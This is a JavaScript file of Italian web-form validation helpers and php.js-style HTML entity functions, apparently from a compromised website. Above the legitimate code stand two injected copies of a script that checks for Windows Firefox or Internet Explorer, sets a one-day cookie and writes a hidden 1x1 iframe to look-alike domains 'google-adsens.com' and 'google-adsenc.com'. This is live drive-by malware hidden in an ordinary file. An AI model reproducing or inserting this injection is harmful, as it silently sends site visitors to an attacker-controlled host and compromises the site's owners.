var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
function get_html_translation_table(table, quote_style) {
    // Returns the translation table used by htmlspecialchars() and htmlentities()
    // 
    // +    discuss at: http://kevin.vanzonneveld.net/techblog/article/javascript_equivalent_for_phps_get_html_translation_table/
    // +       version: 902.2516
    // +   original by: Philip Peterson
    // +    revised by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   bugfixed by: noname
    // +   bugfixed by: Alex
    // +   bugfixed by: Marco
    // %          note: It has been decided that we're not going to add global
    // %          note: dependencies to php.js. Meaning the constants are not
    // %          note: real constants, but strings instead. integers are also supported if someone
    // %          note: chooses to create the constants themselves.
    // %          note: Table from http://www.the-art-of-web.com/html/character-codes/
    // *     example 1: get_html_translation_table('HTML_SPECIALCHARS');
    // *     returns 1: {'"': '&quot;', '&': '&amp;', '<': '&lt;', '>': '&gt;'}
    
    var entities = {}, histogram = {}, decimal = 0, symbol = '';
    var constMappingTable = {}, constMappingQuoteStyle = {};
    var useTable = {}, useQuoteStyle = {};
    
    useTable      = (table ? table.toUpperCase() : 'HTML_SPECIALCHARS');
    useQuoteStyle = (quote_style ? quote_style.toUpperCase() : 'ENT_COMPAT');
    
    // Translate arguments
    constMappingTable[0]      = 'HTML_SPECIALCHARS';
    constMappingTable[1]      = 'HTML_ENTITIES';
    constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
    constMappingQuoteStyle[2] = 'ENT_COMPAT';
    constMappingQuoteStyle[3] = 'ENT_QUOTES';
    
    // Map numbers to strings for compatibilty with PHP constants
    if (!isNaN(useTable)) {
        useTable = constMappingTable[useTable];
    }
    if (!isNaN(useQuoteStyle)) {
        useQuoteStyle = constMappingQuoteStyle[useQuoteStyle];
    }
    
    if (useQuoteStyle != 'ENT_NOQUOTES') {
        entities['34'] = '&quot;';
    }

    if (useQuoteStyle == 'ENT_QUOTES') {
        entities['39'] = '&#039;';
    }

    if (useTable == 'HTML_SPECIALCHARS') {
        // ascii decimals for better compatibility
        entities['38'] = '&amp;';
        entities['60'] = '&lt;';
        entities['62'] = '&gt;';
    } else if (useTable == 'HTML_ENTITIES') {
        // ascii decimals for better compatibility
	    entities['38']  = '&amp;';
	    entities['60']  = '&lt;';
	    entities['62']  = '&gt;';
	    entities['160'] = '&nbsp;';
	    entities['161'] = '&iexcl;';
	    entities['162'] = '&cent;';
	    entities['163'] = '&pound;';
	    entities['164'] = '&curren;';
	    entities['165'] = '&yen;';
	    entities['166'] = '&brvbar;';
	    entities['167'] = '&sect;';
	    entities['168'] = '&uml;';
	    entities['169'] = '&copy;';
	    entities['170'] = '&ordf;';
	    entities['171'] = '&laquo;';
	    entities['172'] = '&not;';
	    entities['173'] = '&shy;';
	    entities['174'] = '&reg;';
	    entities['175'] = '&macr;';
	    entities['176'] = '&deg;';
	    entities['177'] = '&plusmn;';
	    entities['178'] = '&sup2;';
	    entities['179'] = '&sup3;';
	    entities['180'] = '&acute;';
	    entities['181'] = '&micro;';
	    entities['182'] = '&para;';
	    entities['183'] = '&middot;';
	    entities['184'] = '&cedil;';
	    entities['185'] = '&sup1;';
	    entities['186'] = '&ordm;';
	    entities['187'] = '&raquo;';
	    entities['188'] = '&frac14;';
	    entities['189'] = '&frac12;';
	    entities['190'] = '&frac34;';
	    entities['191'] = '&iquest;';
	    entities['192'] = '&Agrave;';
	    entities['193'] = '&Aacute;';
	    entities['194'] = '&Acirc;';
	    entities['195'] = '&Atilde;';
	    entities['196'] = '&Auml;';
	    entities['197'] = '&Aring;';
	    entities['198'] = '&AElig;';
	    entities['199'] = '&Ccedil;';
	    entities['200'] = '&Egrave;';
	    entities['201'] = '&Eacute;';
	    entities['202'] = '&Ecirc;';
	    entities['203'] = '&Euml;';
	    entities['204'] = '&Igrave;';
	    entities['205'] = '&Iacute;';
	    entities['206'] = '&Icirc;';
	    entities['207'] = '&Iuml;';
	    entities['208'] = '&ETH;';
	    entities['209'] = '&Ntilde;';
	    entities['210'] = '&Ograve;';
	    entities['211'] = '&Oacute;';
	    entities['212'] = '&Ocirc;';
	    entities['213'] = '&Otilde;';
	    entities['214'] = '&Ouml;';
	    entities['215'] = '&times;';
	    entities['216'] = '&Oslash;';
	    entities['217'] = '&Ugrave;';
	    entities['218'] = '&Uacute;';
	    entities['219'] = '&Ucirc;';
	    entities['220'] = '&Uuml;';
	    entities['221'] = '&Yacute;';
	    entities['222'] = '&THORN;';
	    entities['223'] = '&szlig;';
	    entities['224'] = '&agrave;';
	    entities['225'] = '&aacute;';
	    entities['226'] = '&acirc;';
	    entities['227'] = '&atilde;';
	    entities['228'] = '&auml;';
	    entities['229'] = '&aring;';
	    entities['230'] = '&aelig;';
	    entities['231'] = '&ccedil;';
	    entities['232'] = '&egrave;';
	    entities['233'] = '&eacute;';
	    entities['234'] = '&ecirc;';
	    entities['235'] = '&euml;';
	    entities['236'] = '&igrave;';
	    entities['237'] = '&iacute;';
	    entities['238'] = '&icirc;';
	    entities['239'] = '&iuml;';
	    entities['240'] = '&eth;';
	    entities['241'] = '&ntilde;';
	    entities['242'] = '&ograve;';
	    entities['243'] = '&oacute;';
	    entities['244'] = '&ocirc;';
	    entities['245'] = '&otilde;';
	    entities['246'] = '&ouml;';
	    entities['247'] = '&divide;';
	    entities['248'] = '&oslash;';
	    entities['249'] = '&ugrave;';
	    entities['250'] = '&uacute;';
	    entities['251'] = '&ucirc;';
	    entities['252'] = '&uuml;';
	    entities['253'] = '&yacute;';
	    entities['254'] = '&thorn;';
	    entities['255'] = '&yuml;';
    } else {
        throw Error("Table: "+useTable+' not supported');
        return false;
    }
    
    // ascii decimals to real symbols
    for (decimal in entities) {
        symbol = String.fromCharCode(decimal);
        histogram[symbol] = entities[decimal];
    }
    
    return histogram;
}// }}}

function htmlentities (string, quote_style) {
	// Convert all applicable characters to HTML entities
    // 
    // +    discuss at: http://kevin.vanzonneveld.net/techblog/article/javascript_equivalent_for_phps_htmlentities/
    // +       version: 812.3017
    // +   original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +    revised by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   improved by: nobbler
    // +    tweaked by: Jack
    // +   bugfixed by: Onno Marsman
    // +    revised by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // -    depends on: get_html_translation_table
    // *     example 1: htmlentities('Kevin & van Zonneveld');
    // *     returns 1: 'Kevin &amp; van Zonneveld'

    var histogram = {}, symbol = '', tmp_str = '', entity = '';
    tmp_str = string.toString();
    
    if (false === (histogram = get_html_translation_table('HTML_ENTITIES', quote_style))) {
        return false;
    }
    
    for (symbol in histogram) {
        entity = histogram[symbol];
        tmp_str = tmp_str.split(symbol).join(entity);
    }
    
    return tmp_str;
}// }}}


function controllIsSet(resource, id, textError){
	if (resource.length < 1) {
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci il campo: <em>\"" + textError + "\"</em></span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}else{return (0); }
}

function controllIsMailValid(email, id){
	$(id).innerHTML = '';
	var email_reg_exp = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-]{2,})+\.)+([a-zA-Z0-9]{2,})+$/;
	//if (!email_reg_exp.test(email) || (email == "") || (email == "undefined")) {
	if (!email_reg_exp.test(email) ) {
				$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci un indirizzo email corretto: <em>esempio@esempio.it</em></span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
}


function controllUsername(user, id){
		var target = 'controller'; //target div
		var url = 'sql/utente_controllUsername.sql.php'; //url to processorparameters: $('id_of_form_element').serialize(true)
		
		new Ajax.Updater(target, url, {
			method: 'post',
			parameters: {user:user},
			onComplete: function(){
				if ($('userResult').value == 1 ) {
							$(id).removeClassName('invisible');
					$(id).innerHTML = "<span class=\"error\">Questo Username &egrave; gi&agrave; stato assegnato ad un altro utente.</span>";
					Effect.Appear(id);
					Effect.Fade(id, {
						delay: 10.1
					});
				
				}
			}
		});
	


}

function controllUrl(url, id){
	var reg_exp = /^http:\/\/(www\.)?[a-zA-Z0-9-]{3,}\.[a-zA-Z]{2,}(\/)?$/;

	//if (!tel_reg_exp.test(number) || (number == "") || (number == "undefined")) {
	if (!reg_exp.test(url) ) {	
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci un indirizzo web corretto: <em>deve</em> cominciare per http://</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
}



function controllIsNumberValid(number, id){
	var tel_reg_exp = /^([0-9_\.\-])+$/;
	//if (!tel_reg_exp.test(number) || (number == "") || (number == "undefined")) {
	if (!tel_reg_exp.test(number) ) {	
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci un numero corretto: <em>solo numeri</em> senza lettere, spazi, caratteri speciali.</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
}
function controllIsNumberOnly(number, id){
	var tel_reg_exp = /^([0-9])+$/;
	//if (!tel_reg_exp.test(number) || (number == "") || (number == "undefined")) {
	if (!tel_reg_exp.test(number) ) {	
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci un numero corretto: <em>solo numeri</em> senza lettere, spazi, caratteri speciali.</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
}
function controllIsNumberCent(number, id){
	var tel_reg_exp = /^([0-9_\.\-])+$/;
	
	if (!tel_reg_exp.test(number) ||  number.length<2 || number.length>2 ) {
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Il campo centesimi di euro deve essere di due cifre</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
}
function controllIsNumberValid(number, id){
	var tel_reg_exp = /^([0-9_\.\-])+$/;
	//if (!tel_reg_exp.test(number) || (number == "") || (number == "undefined")) {
	if (!tel_reg_exp.test(number) ) {	
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci un numero corretto: <em>solo numeri</em> senza lettere, spazi, caratteri speciali.</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
}

function controllCap(number, id){
	var tel_reg_exp = /^([0-9_\.\-])+$/;
	//if (!tel_reg_exp.test(number) || (number == "") || (number == "undefined")|| number.length<5 || number.length>5 ) {
	if (!tel_reg_exp.test(number) ||  number.length<5 || number.length>5 ) {
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci un CAP corretto: <em>solo 5 numeri</em> senza lettere, spazi, caratteri speciali.</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
}
function controllCf(cf, id){
	var cf_reg_exp = /^[a-zA-Z]{6}[0-9]{2}[a-zA-Z][0-9]{2}[a-zA-Z][0-9]{3}[a-zA-Z]$/;
	if (!cf_reg_exp.test(cf) || (cf == "") || (cf == "undefined")) {
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci un codice fiscale corretto.</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
} 
function controllPiva(piva, id){
	var piva_reg_exp = /^[0-9]{11}$/;
	if (!piva_reg_exp.test(piva) || (piva == "") || (piva == "undefined")) {
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">Inserisci una partita iva corretta: 11 cifre.</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
		return (1);
	}
	else {
		return (0);
	}
} 

function dateCompare(date1, date2, id){
	date1A=date1.split("-");
	date2A=date2.split("-");
	//trasformo le date nel formato aaaammgg (es. 20081103)
	date1str = date1A[0]+date1A[1]+date1A[2];
	date2str = date2A[0]+date2A[1]+date2A[2];
	if (date2str-date1str<0) {
		$(id).removeClassName('invisible');
		$(id).innerHTML = "<span class=\"error\">La data di partenza, &egrave; <em>precedente</em> alla data di arrivo.</span>";
		Effect.Appear(id);
		Effect.Fade(id, {
			delay: 10.1
		});
          return(1);
	}else{
		return(0);
    }
}
function controllSpecialChar(text, id){
	var email_reg_exp = /^([a-zA-Z0-9_\.\-])+$/;
	//if (!email_reg_exp.test(email) || (email == "") || (email == "undefined")) {
	if (!email_reg_exp.test(text) ) {
				
		$(id).innerHTML += "Usare solo lettere, numeri, underscore (_), meno (-) o punti(.). ";
		return (1);
	}
	else {
		return (0);
	}
}
function arraySum(myArray){
	var i;
	var mySum=0;
	for(i=0; i < myArray.length; i++ ){
		mySum= mySum + Number(myArray[i]);
	}

	return mySum; 
}